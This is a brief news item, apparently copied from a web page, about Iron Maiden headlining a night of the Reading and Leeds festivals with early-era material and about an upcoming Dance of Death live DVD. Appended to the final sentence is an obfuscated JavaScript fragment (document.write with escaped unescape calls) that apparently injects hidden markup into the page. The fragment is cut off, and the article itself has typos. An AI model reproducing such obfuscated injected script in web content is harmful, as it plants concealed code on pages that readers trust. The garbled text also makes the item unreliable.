Iron Maiden headline Reading/Leeds festival

According to the latest issue of the UK Metal Hammer, Iron Maiden will headline the list night of the Reading the Leeds festivals in August, their only UK shows on their current European tour. This will be the first time that Maiden will have headlined Reading since 1982 and their stage set and choice of material may be familiar to fans who were there the first time around. To celebrate their 25th anniversary, the band will only be playing material from their first four albums on these dates. The stage set - currently being constructed - will also reflect the early years of Maiden's live shows.

There will also be a Dance of Death live album and DVD released in the early Autumn, which will actually be the last in the series of DVDs chronicling Maiden of which The History Of Iron Maiden - Part 1: The Early Days was the first part. Subsequent releases will fill in the rest of the gaps.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;
